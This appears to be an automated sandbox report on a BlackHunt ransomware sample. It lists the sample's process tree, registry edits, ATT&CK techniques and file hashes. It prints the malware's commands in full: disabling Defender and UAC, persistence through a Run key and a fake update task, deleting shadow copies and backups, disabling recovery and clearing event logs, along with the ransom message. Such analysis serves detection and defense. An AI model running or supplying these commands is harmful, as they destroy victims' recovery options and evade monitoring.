fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 54 PID 2504 wrote to memory of 2636 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 54 PID 2504 wrote to memory of 2636 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 54 PID 1700 wrote to memory of 2308 1700 cmd.exe 55 PID 1700 wrote to memory of 2308 1700 cmd.exe 55 PID 1700 wrote to memory of 2308 1700 cmd.exe 55 PID 2504 wrote to memory of 2752 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 56 PID 2504 wrote to memory of 2752 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe"C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2504 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3004 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2696
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2780
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2604
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2704
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2636
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2752
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2760
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1952
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2884
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2928
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2900
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2448
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2956
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:340
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1804
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2284
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1656
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:108
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:3008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2164
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2520
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2172
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:784
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2644
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1020
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1104
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe" /F2⤵PID:2312
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe" /F3⤵
- Creates scheduled task(s)
PID:836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1924
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2120
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:900
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:700
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2112
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1532
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:888
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2524
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1612
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2724
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2264
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2804
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:364
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3316
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:2100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2804
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3228
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3388
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:988
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:2264
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2896
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3364
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3128
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2052
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3380
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3464
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3292
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3184
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3472
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3436
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3524
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2760
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3420
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3672
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:4048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3740
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:3796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3716
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3828
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:3860
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:3788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3800
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2736
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:212
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2028
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe"2⤵
- Deletes itself
PID:3192 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:4004
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1724
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1916
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\1⤵
- Enumerates connected drives
PID:2508
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
12KB
MD530ffdb47b66007cb85020ee4a3966f17
SHA1e4386b9f7f1fa3458e691c0ea48a186b2b81fa09
SHA25656f305d928d050f92bb70ced8dfcb5928db33c2762c2108175386d55e541922c
SHA51259cef59457ba0f7e5d32d228055a8b7ccade59a6fbb0e09e10623b34fd8a97e1e06b8a4def88ce55870af388de8d7e23f0712f68c171cbadded0447b16cea77d
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Filesize
684B
MD53a8fcadfb88d8adac1b9cbc63e471c99
SHA1790406f3ea2e77804daf527c430534e4809b7eb0
SHA25696318d346b88f737fa1cea7196317bdcf7fdc9ace80665bc55bd4e7cd7c22c34
SHA5124d25b58e163f765e5f646b943722be059ac2608f27a6159fcb1521275b1a4a0f93a5b4ad631abcc59436e7feceb2d6801755ebc51a867038356642ee615b19a2
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Filesize
1KB
MD5247cba6c4b1096ed96c79312926319a4
SHA1efd883cdaa029a0b97d1f94d5b78c0cf9aa9c618
SHA256d4af430fcfbd083f389af72b17f18b5106430a31907d8f26d63cc2d7af5ca039
SHA51258416b0fd32fca5568b859ceaf3b43442ea4910941241f4a55b741889be7f1879813f1fbfbd7299a19b2238d75e083af88ec0ce20b83f61c3c5d8ce242fa59a2